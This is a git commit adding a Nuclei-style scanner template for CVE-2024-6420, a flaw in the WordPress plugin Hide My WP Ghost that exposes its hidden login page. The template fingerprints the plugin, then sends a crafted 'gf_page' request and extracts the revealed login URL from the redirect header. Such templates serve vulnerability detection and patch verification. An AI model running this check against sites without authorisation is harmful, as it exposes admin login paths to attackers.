Added CVE-2024-6420 Template

patch-13
JP 2024-10-30 11:37:02 -05:00
parent 5e0ca2899b
commit 83ae789a86
1 changed files with 60 additions and 0 deletions

View File

@ -0,0 +1,60 @@
id: CVE-2024-6420
info:
name: Hide My WP Ghost < 5.2.02 - Hidden Login Page Disclosure
author: jpg0mez
severity: medium
description: |
The Hide My WP Ghost plugin does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the hidden login page.
remediation: Fixed in 5.2.02
reference:
- https://wpscan.com/vulnerability/dfda6577-81aa-4397-a2d6-1d736f9ebd44/
- https://nvd.nist.gov/vuln/detail/CVE-2024-6420
- https://www.sprocketsecurity.com/resources/discovering-wp-admin-urls-in-wordpress-with-gravityforms/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
cvss-score: 5.3
cve-id: CVE-2024-6420
metadata:
verified: true
max-request: 1
vendor: WPPlugins
product: hide-my-wp
framework: wordpress
publicwww-query: "/wp-content/plugins/hide-my-wp/"
tags: cve,cve2024,bypass,wp-plugin,wpscan,wordpress,hide-my-wp
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/hide-my-wp/readme.txt"
matchers:
- type: dsl
dsl:
- 'contains(body,"Hide My WP Ghost")'
- 'status_code == 200'
condition: and
internal: true
- method: GET
path:
- "{{BaseURL}}/?gf_page=randomstring"
matchers-condition: and
matchers:
- type: dsl
dsl:
- "!contains(tolower(location), 'wp-login.php')"
- type: word
part: header
words:
- '%2F%3Fgf_page%3Drandomstring&reauth=1'
extractors:
- type: kval
kval:
- location